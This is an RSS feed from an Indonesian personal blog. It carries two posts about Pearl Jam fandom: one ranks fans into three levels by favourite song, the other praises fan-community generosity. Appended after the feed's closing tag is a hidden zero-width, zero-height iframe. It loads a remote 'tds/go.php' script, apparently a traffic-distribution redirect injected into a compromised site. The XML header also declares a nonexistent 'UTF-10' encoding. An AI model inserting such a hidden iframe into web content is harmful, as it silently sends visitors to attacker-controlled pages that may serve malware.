<?xml version="1.0" encoding="UTF-10"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Daeng Gassing &#187; pearl jam fans</title>
	<atom:link href="http://daenggassing.com/tag/pearl-jam-fans/feed/" rel="self" type="application/rss+xml" />
	<link>http://daenggassing.com</link>
	<description></description>
	<lastBuildDate>Thu, 09 Feb 2012 06:18:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>3 Level Fans Pearl Jam</title>
		<link>http://daenggassing.com/2010/02/3-level-fans-pearl-jam/</link>
		<comments>http://daenggassing.com/2010/02/3-level-fans-pearl-jam/#comments</comments>
		<pubDate>Tue, 23 Feb 2010 00:30:47 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Opini]]></category>
		<category><![CDATA[Pearl Jam]]></category>
		<category><![CDATA[pearl jam fans]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=574</guid>
		<description><![CDATA[Saya adalah fans Pearl Jam. Mungkin sudah masuk dalam kategori terobsesi karena selama bertahun-tahun saya hampir hanya mendengarkan musik dan lagu dari mereka. Prosentasenya mungkin di atas 80% lagu-lagu Pearl Jam berbanding kurang dari 20% lagu-lagu dari kelompok atau musisi dan penyanyi yang lain. Alasannya tidak usah saya ceritakan lagi, semua ada di blog ini. [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a href="http://daenggassing.com/wp-content/uploads/2010/02/Ed_and_fans.jpg"><img class="aligncenter size-full wp-image-575" title="Ed_and_fans" src="http://daenggassing.com/wp-content/uploads/2010/02/Ed_and_fans.jpg" alt="" width="500" height="333" /></a></p>
<p>Saya adalah fans <a href="http://pearljam.com">Pearl Jam</a>. Mungkin sudah masuk dalam kategori terobsesi karena selama bertahun-tahun saya hampir hanya mendengarkan musik dan lagu dari mereka. Prosentasenya mungkin di atas 80% lagu-lagu Pearl Jam berbanding kurang dari 20% lagu-lagu dari kelompok atau musisi dan penyanyi yang lain. Alasannya tidak usah saya ceritakan lagi, semua ada di blog ini. Meski tergila-gila pada Pearl Jam, saya juga belum berani mengklaim diri sejajar dengan <a href="http://helmantaofani.blogspot.com">Hilman</a> dan Reza, dua orang kamus berjalan Pearl Jam di Indonesia.</p>
<p>Sebagai fans berat sebuah band yang masa keemasannya sudah lewat namun belum cukup memenuhi kriteria sebagai legenda, adalah sebuah kesulitan sendiri untuk menemukan orang-orang yang senasib dan searah dengan saya, utamanya di dunia nyata. Saya cukup beruntung bisa berkenalan dengan para &#8220;Lost Dog&#8221; se Indonesia yang membuat saya benar-benar tidak merasa sendirian.</p>
<p>Beberapa waktu yang lalu saat iseng mencari seorang teman di jejaring sosial Facebook saya menemukan sebuah account bernama Pearl Jam. Pemiliknya adalah seorang lelaki muda yang berdomisili di Makassar. Didasari oleh keinginan untuk berkenalan dengan sesama Jamily utamanya yang berdomisili di Makassar, saya menambahkan dia sebagai teman. Tak lama kemudian ajakan saya bersambut. Dengan segera saya menulis di dindingnya, bertanya apakah dia benar-benar seorang fans Pearl Jam sambil tak lupa memperkenalkan diri sebagai seorang penggemar Pearl Jam juga.</p>
<p>Tak berapa lama pertanyaan saya terjawab. Dia mengaku suka pada Pearl Jam. Sampai di sini saya sudah mulai kehilangan semangat dan bisa menebak seperti apa kadar &#8220;suka&#8221; si cowok ini. seorang fans berat (setahu saya) tidak akan menggunakan kata &#8220;suka&#8221; apabila dipancing berbicara tentang idolanya. Setidaknya dia akan menggunakan kata &#8220;suka banget&#8221; atau bahkan &#8220;tergila-gila&#8221;. Percakapan kami lewat dinding FB berlanjut dan berujung pada kekecewaan di pihak saya.</p>
<p><span id="more-574"></span>Pasalnya, saat saya bertanya lagu Pearl Jam yang mana yang paling dia sukai, jawabannya : Last Kiss. Oke, jawaban itu sudah cukup untuk mengindikasikan level &#8220;suka&#8221; si pemilik account Pearl Jam itu. Pembicaraan kemudian lebih banyak berkutat pada tema yang basi. Saya kehilangan semangat, pupus sudah harapan untuk bertemu dengan sesama penggila Pearl Jam dari kota Makassar.</p>
<p>Saya kemudian teringat pada teori tentang 3 level fans Pearl Jam yang saya ciptakan sendiri. Teori saya mungkin sangat gampang untuk didebat dan dipatahkan, tapi setidaknya teori itu saya muculkan seiring dengan beberapa pengalaman saya saat bertemu dengan orang yang mengaku kenal dan suka dengan Pearl Jam. Saya jelaskan teori 3 level fans Pearl Jam menurut saya ya, 3 level itu adalah sebagai berikut :</p>
<p>Level &#8220;Last Kiss&#8221;<br />
Level ini adalah level terendah seorang fans Pearl Jam, bahkan kalau menurut saya level ini adalah level non fans. Orang-orang yang termasuk pada level ini adalah orang-orang yang ketika ditanya, &#8221; suka Pearl Jam, nggak ?&#8221; kemudian menjawab, &#8221; Oh iyya, suka. Last Kiss keren tuh..saya paling suka sama lagu yang itu&#8221;, atau jawaban lain yang sejenis seperti, &#8221; hmmm..cuman tau satu lagu aja sih, Last Kiss. Keren juga tuh lagunya&#8221;.</p>
<p>Nah, bagi saya orang-orang yang menjawab dengan jawaban seperti itu otomatis saya masukkan pada level Last Kiss, atau level terendah menurut saya. Kenapa ? jujur saja, bagi fans berat Pearl Jam, Last Kiss bukan Pearl Jam banget. Aslinya lagu ini juga adalah &#8220;Supposed to be a joke from Pearl Jam&#8221;, meski memang lagu ini kemudian jadi single terlaris Pearl Jam sepanjang masa. Untungnya juga semua keuntungan dari lagu ini disetor Pearl Jam ke sebuah gerakan kemanusiaan untuk para pengungsi Kosovo di akhir milenium pertama.</p>
<p>Banyak memang orang yang mengenal Pearl Jam lewat Last Kiss ini dan bagi yang tidak terlalu paham mereka kemudian menganggap Pearl Jam adalah band cemen degan lagu yang menye-menye. Jadi mereka yang mengaku kenal dan suka Pearl Jam dari lagu ini maka kualitas &#8220;suka&#8221;-nya sudah langsung ketahuan.</p>
<p>Level &#8220;Jeremy&#8221;</p>
<p>Nah, level kedua ini menurut saya adalah level milik seorang yang bisa jadi seorang fans tapi belum termasuk kategori fans berat.? Saat bertanya, lagu mana dari Pearl Jam yang paling kamu suka dan kemudian dia menjawab, &#8221; aku paling suka sama Jeremy, Daughter, Given to Fly atau I Am Mine&#8221;, maka otomatis saya akan memasukkan ke level yang kedua ini.</p>
<p>Level kedua ini menurut saya dihuni oleh orang-orang yang lumayan kenal Pearl Jam, utamanya lewat lagu-lagu mereka yang sempat hits dan sering wara-wiri di stasiun radio di jamannya. Orang-orang di level ini suka dan kenal Pearl Jam meski kadar kualitas sukanya masih dipertanyakan. Untuk menguji lebih lanjut, bisa dengan pertanyaan seperti , &#8221; kalau Hunger Strike tau nggak ?&#8221;, atau &#8221; Suka gak sama In My Tree..?&#8221; atau pokoknya sebut saja semua lagu-lagu Pearl Jam yang tidak terlalu populer utamanya di album No Code, Binaural, Riot Act atau Avocado. Kalau jawabannya &#8221; Oh iyya..bagus juga tuh&#8221;, atau &#8221; Iyya, aku pernah dengar tapi gak terlalu suka &#8221; maka si penjawab punya potensi untuk naik ke level ketiga, level tertinggi untuk para fans Pearl Jam. Kalau jawabannya, &#8221; wah..gak tau tuh..taunya Cuma sampe Daughter aja &#8220;, atau jawaban semacamnya maka si penjawab cukup berada di level kedua.</p>
<p>Level &#8221; In My Tree &#8221;<br />
Naaahhh&#8230;.level ini adalah level tertinggi untuk para fans Pearl Jam.</p>
<p>Di level ini berkumpul orang-orang yang kalau ditanya &#8221; suka lagu Pearl Jam yang mana ? &#8221; tidak akan langsung menjawab. Bukan karena tidak tahu lagunya tapi karena bingung untuk memilih lagu mana yang paling disukainya di antara ratusan lagu Pearl Jam. Orang-orang di level ini punya kadar kecintaan pada setiap lagu Pearl Jam, entah lagu asli dari Pearl Jam ataupun lagu cover dari musisi lain. Orang-orang di level ini selalu kesulitan apabila disuruh membuat list 5 lagu Pearl Jam yang paling disukai, dan biasanya bila berhasil dia akan menempatkan lagu-lagu yang kurang dikenal publik tapi punya arti dan muatan filosofis yang tinggi. Biasanya lagi nih, orang-orang di level ini akan menyodorkan jawaban yang berbeda bila pertanyaan yang sama diajukan beberapa hari kemudian.</p>
<p>Intinya, orang-orang di level ini mencintai semua lagu yang pernah dibawakan oleh Pearl Jam. Ujung-ujungnya, orang di level ini tanpa sadar akan memancarkan binar penuh semangat di matanya ketika diajak berdiskusi tentang Pearl Jam. Dan, setidaknya saya termasuk pada level ini. Namun sayangnya di dunia nyata saya sangat sulit untuk bertemu dengan orang-orang di level ini. Dunia maya adalah satu-satunya ruang bagi saya untuk bertemu dengan teman-teman di level ini.</p>
<p>Sekali lagi, teori level yang saya ciptakan di atas benar-benar sebuah teori asal-asalan yang sangat rapuh dan sangat bisa untuk didebat. Mungkin ada di antara anda yang punya teori berbeda , Silakan..</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2010/02/3-level-fans-pearl-jam/" title="pearl jam">pearl jam</a> (6)</li><li><a href="http://daenggassing.com/2010/02/3-level-fans-pearl-jam/" title="lagu pearl jam yang kamu sukai apa">lagu pearl jam yang kamu sukai apa</a> (2)</li><li><a href="http://daenggassing.com/2010/02/3-level-fans-pearl-jam/" title="download lagu taniaka daeng gassing">download lagu taniaka daeng gassing</a> (1)</li><li><a href="http://daenggassing.com/2010/02/3-level-fans-pearl-jam/" title="pearl jam album ten">pearl jam album ten</a> (1)</li></ul><div class="shr-publisher-574"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2010%2F02%2F3-level-fans-pearl-jam%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2010/02/3-level-fans-pearl-jam/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>AMPLANG dan HANGATNYA MENJADI JAMMILY</title>
		<link>http://daenggassing.com/2010/02/amplang-dan-hangatnya-menjadi-jammily/</link>
		<comments>http://daenggassing.com/2010/02/amplang-dan-hangatnya-menjadi-jammily/#comments</comments>
		<pubDate>Tue, 02 Feb 2010 02:46:17 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Pearl Jam]]></category>
		<category><![CDATA[Random Post]]></category>
		<category><![CDATA[amplang]]></category>
		<category><![CDATA[jammily]]></category>
		<category><![CDATA[pearl jam fans]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=563</guid>
		<description><![CDATA[Beberapa bulan yang lalu saya sungguh senang ketika seorang jammers (penggemar Pearl Jam) bergabung dengan keluarga besar Pearl Jam Indonesia. Hal yang agak luar biasa dari jammers yang baru jadi jammily (sebutan untuk keluarga besar fans Pearl Jam) ini adalah domisilinya yang berada di Samarinda-Kalimantan Timur. Domisili jammily baru yang namanya mbak Melli ini agak [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a href="http://daenggassing.com/wp-content/uploads/2010/02/Pearl-Jam-Fans.jpg"><img class="aligncenter size-full wp-image-564" title="Pearl Jam Fans" src="http://daenggassing.com/wp-content/uploads/2010/02/Pearl-Jam-Fans.jpg" alt="" width="500" height="332" /></a></p>
<p>Beberapa bulan yang lalu saya sungguh senang ketika seorang jammers (penggemar Pearl Jam) bergabung dengan keluarga besar Pearl Jam Indonesia. Hal yang agak luar biasa dari jammers yang baru jadi jammily (sebutan untuk keluarga besar fans Pearl Jam) ini adalah domisilinya yang berada di Samarinda-Kalimantan Timur.</p>
<p>Domisili jammily baru yang namanya mbak Melli ini agak luar biasa bagi saya mengingat selama ini konsentrasi besar fans Pearl Jam di Indonesia hanya terpusat di pulau Jawa dan Bali, dan dengan adanya seorang lagi fans Pearl Jam yang domisilinya di luar Jawa saya serasa menemukan keluarga baru. Saya memang secara tidak syah sudah diangkat oleh teman-teman di Pearl Jam Indonesia sebagai penanggung jawab Pearl Jam Indonesia region Indonesia Timur. Alasannya sederhana saja, saya adalah fans dari Indonesia Timur yang lumayan aktif nimbrung di milis meski belum pernah ikutan acara offline.</p>
<p>Nah, karena merasa mendapatkan teman baru saya kemudian berinisiatif meneruskan program DVD tree yang digagas oleh komunitas Pearl Jam Indonesia. Program ini sejatinya dilandasi oleh semangat berbagi material-material Pearl Jam. Caranya satu orang mengirimkan material-material Pearl Jam (biasanya berupa DVD konser) ke beberapa orang yang jadi penanggung jawab, seterusnya sang penanggung jawab akan meneruskan lagi ke orang-orang yang lain, begitu seterusnya. Tapi perlu digarisbawahi bahwa material yang dibagikan hanya material yang tidak dikeluarkan secara resmi oleh label sehingga tidak bisa dikategorikan sebagai barang bajakan. Pearl Jam sendiri melegalkan pembagian material seperti ini.</p>
<p><span id="more-563"></span>Singkat kata saya kemudian menggandakan dan mengirimkan beberapa material Pearl Jam yang saya punya. Tak lama berselang ucapan terima kasih via FB masuk dari mbak Melli. Ok, saya pikir tugas saya sudah selesai. Via FB juga dengan becanda saya bilang kalau balasannya cukuplah dengan amplang yang merupakan kudapan khas dari Kalimantan Timur. Bulan berlalu setelah kejadian itu, sayapun merasa tak ada yang perlu saya tagih karena niat saya murni hanya ingin menjalankan tugas sebagai penanggung jawab PJ.Id region Indonesia Timur.</p>
<p>Kemarin, tanpa saya duga setelah berselang beberapa bulan semenjak pengiriman DVD itu sebuah paket dalam kardus coklat tiba di kantor. Saya bertanya-tanya dari siapa gerangan, tapi sebuah label putih di salah satu sisinya dengan segera memberitahukan siapa sang pengirim. Ternyata mbak Melli dari Samarinda. Tanpa membuka kardusnya saya sudah bisa menebak kalau isinya pastilah amplang. Dan benar saja,ketika malamnya saya membuka si kardus, isinya memang amplang, lampok durian, abon serta kue keminting. Sungguh luar biasa.</p>
<p>Bagi saya hal yang paling luar biasa bukan karena isi si kardus, tapi kerelaan mbak Melli mengirim amplang dan teman-temannya itu. Ini adalah kali kesekian saya bisa merasakan kehangatan dari keluarga besar Jammily di Indonesia.</p>
<p>Sekitar bulan April tahun lalu saya sempat merasakan kehangatan dan keramahan luar biasa dari pasangan Jammily di Surabaya. Hilman dan istrinya Gina menjadi tuan rumah yang hangat yang bersedia menampung saya di Surabaya. Bukan sekedar menampung mereka juga rela menyisihkan waktu menjemput saya di Bungurasih, memberi makan malam, memberi tempat berteduh, memberi sarapan, memberi makan siang dan akhirnya mengantar ke bandara keesokan harinya. Sungguh sebuah kehangatan dan keramahan yang luar biasa. Kami belum pernah bertatap muka sebelumnya, semua pertemanan hanya dijalin di dunia maya lewat milis, FB, Friendster, blog dan YM.</p>
<p>Dua peristiwa di atas adalah pelengkap dari beberapa kehangatan lainnya yang sudah saya rasakan dari sesama Jammers. Ada Dani Satria yang mengirimkan 7 keping DVD berisi bootleg lengkap dari tahun 2004-2006, terus ada Denny yang mengirimkan berkeping-keping DVD konser hasil donlotan.</p>
<p>Apa yang saya rasakan dari kehangatan sesama Jammers mungkin masih tidak ada apa-apanya dibanding kehangatan yang dirasakan Reza, salah seorang sesepuh Pearl Jam Indonesia. Beliau ini sampai pernah ditolong Jammily Belanda sampai bisa menonton langsung Pearl Jam di Duesseldorf. Reza yang tidak punya tiket dan visa untuk menyeberang dari Belanda ke Jerman diselundupkan oleh beberapa orang Jammers sampai kemudian berhasil menonton langsung konser Pearl Jam. Semua itu hanya karena persahabatan yang dibangun via dunia maya.</p>
<p>Sekitar 2 tahun yang lalu juga ada berita dari seorang fans Pearl Jam di Eropa yang tertimpa musibah kebakaran hingga semua material Pearl Jamnya ikut hangus terbakar. Tanpa diminta, para fans Pearl Jam kemudian mengulurkan tangan untuk ikut menyumbangkan kopian material Pearl Jam yang mereka miliki. Sungguh sebuah spontanitas yang luar biasa.</p>
<p>Kenapa keluarga besar fans Pearl Jam bisa sehangat itu ? susah untuk merumuskan penyebab pastinya. Saya hanya bisa meraba kalau hal tersebut terjadi karena kami keluarga besar Jammily mencontoh apa yang dilakukan oleh idola kami. Eddie Vedder dan kawan-kawannya bukanlah tipikal rock star yang begitu berhasil menjual jutaan kopi rekaman kemudian seakan tinggal di tingkatan yang berbeda dengan para fansnya. Eddie dan kawan-kawan tetap menjalin kedekatan dengan para fans, mereka bahkan berpihak kepada fans daripada para promotor. Contohnya ya kasus antitrust mereka kepada Ticketmaster yang mana mereka menganggap Ticketmaster mengambil terlalu banyak keuntungan dari harga tiket yang gila-gilaan dan merugikan fans. Karena kalah dalam kasus tersebut mereka sempat tidak diijinkan manggung besar-besaran dalam waktu yang cukup lama.</p>
<p>Eddie dkk juga pernah menarik kembali tiket yang sudah terjual hanya karena mensinyalir kalau sebagian besar tiket tersebut diborong para calo. Bagi Eddie dan kawan-kawannya, hal yang paling utama adalah kesenangan fans, meski sebagian fans menganggap mereka sudah seperti dewa tapi mereka sendiri tetap menganggap diri mereka manusia biasa yang sama seperti para fansnya.</p>
<p>Penghargaan yang tinggi kepada fans ini kemudian menular kepada fans setianya. Penghargaan tinggi kepada sesama fans menjadi sebuah keharusan yang ujung-ujungnya kemudian menumbuhkan kehangatan antar fans meski mereka tak pernah bertatapan langsung.</p>
<p>Apa yang dicontohkan oleh Eddie dkk dan kemudian dipraktekkan oleh para fansnya membuat saya bangga menjadi bagian dari Jammily. Yup, I’m proud to be Jammily.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2010/02/amplang-dan-hangatnya-menjadi-jammily/" title="kue keminting">kue keminting</a> (1)</li></ul><div class="shr-publisher-563"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2010%2F02%2Famplang-dan-hangatnya-menjadi-jammily%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2010/02/amplang-dan-hangatnya-menjadi-jammily/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
